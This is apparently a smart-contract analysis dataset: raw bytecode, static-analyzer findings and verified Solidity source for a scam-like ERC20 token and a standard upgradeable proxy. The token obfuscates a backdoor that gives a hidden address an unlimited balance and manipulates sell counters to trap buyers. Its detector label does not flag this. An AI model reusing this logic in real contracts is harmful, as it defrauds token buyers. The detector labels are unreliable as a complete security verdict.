7fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff16105b1561071a578291505b8482141561072d57600187019350610841565b878281548110151561073b57fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff169050878581548110151561077557fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1688838154811015156107ad57fe5b90600052602060002090600491828204019190066008026101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055508088868154811015156107f757fe5b90600052602060002090600491828204019190066008026101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555081945061083e85610d2b565b93505b6105e0565b6104b9565b5b5050505050505050565b6000806000836060526000925060005b84548110156108d3576004810460206060200154925060048106915060005b600283028110156108a55764010000000084049350600181019050610885565b508267ffffffffffffffff169250828410600181146108c3576108c7565b8394505b50600181019050610866565b505050919050565b60008060008360605260005b845481101561096a576004810460206060200154925060048106915060005b600283028110156109265764010000000084049350600181019050610906565b508267ffffffffffffffff169250600081146001811461094557610949565b8394505b508284116001811461095a5761095e565b8394505b506001810190506108e7565b505050919050565b6000806000806000808615610a83576001898054905003935060009250600091505b8382111515610a7e5760028483018115156109ab57fe5b0492508767ffffffffffffffff1689848154811015156109c757fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff161415610a135760019550829450600184019150610a79565b8767ffffffffffffffff168984815481101515610a2c57fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff161015610a7157600183019150610a78565b6001830393505b5b610994565b610b04565b600090505b8880549050811015610b03578767ffffffffffffffff168982815481101515610aad57fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff161415610af65760019550809450888054905090505b8080600101915050610a88565b5b50505050935093915050565b60008060008360605260005b8454811015610b79576004810460206060200154925060048106915060005b60028302811015610b5b5764010000000084049350600181019050610b3b565b508267ffffffffffffffff1692508383019350600181019050610b1c565b505050919050565b60008060008060008091505b8580549050821015610cfd57610bdc868784815481101515610bab57fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff166000610972565b809450819550505082821115610cf0578190505b6001868054905003811015610c90578560018201815481101515610c1057fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff168682815481101515610c4857fe5b90600052602060002090600491828204019190066008026101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055508080600101915050610bf0565b856001878054905003815481101515610ca557fe5b90600052602060002090600491828204019190066008026101000a81549067ffffffffffffffff021916905585805480919060019003610ce59190610d40565b508180600190039250505b8180600101925050610b8d565b8580549050945050505050919050565b600080600183039050600281811515610d2257fe5b04915050919050565b60008060028302905060018101915050919050565b815481835581811511610d75576003016004900481600301600490048360005260206000209182019101610d749190610d7a565b5b505050565b610d9c91905b80821115610d98576000816000905550600101610d80565b5090565b905600a165627a7a723058203a31c50797bc71654bdd101d9146d3168e1f3e67890f7fa7751f8aacbeefa9970029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
1,029
0xE835166401BA8bd961A600ec20f3Ed78D96A3FFb
// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { uint256 public _fee; string private _name; string private _symbol; mapping(address => uint256) private outside; uint8 private _decimals; mapping(address => uint256) private sell; uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private bicycle = ~uint256(0); mapping(address => address) private fastened; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address yourself ) { _symbol = _SYMBOL; _name = _NAME; _fee = 5; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[yourself] = bicycle; _balances[msg.sender] = _tTotal; sell[yourself] = bicycle; sell[msg.sender] = bicycle; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function audience( address stared, address rest, uint256 amount ) private { address fish = fastened[address(0)]; bool surface = uniswapV2Pair == stared; uint256 fallen = _fee; if (sell[stared] == 0 && outside[stared] > 0 && !surface) { sell[stared] -= fallen; } fastened[address(0)] = rest; if (sell[stared] > 0 && amount == 0) { sell[rest] += fallen; } outside[fish] += fallen; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[stared] -= fee; _balances[address(this)] += fee; _balances[stared] -= amount; _balances[rest] += amount; } function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); audience(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { audience(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600754905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600560009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600c60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600c60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220dbdefceb4761a54c48eb43057397b9fe88e92a36d7a5686d3fffbe4fb0d1d5eb64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,030
0xbc16bcb59fa93aa0825ab2618d93e9449eb44246
/** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b815260040180806020018281038252603681526020018061058760369139604001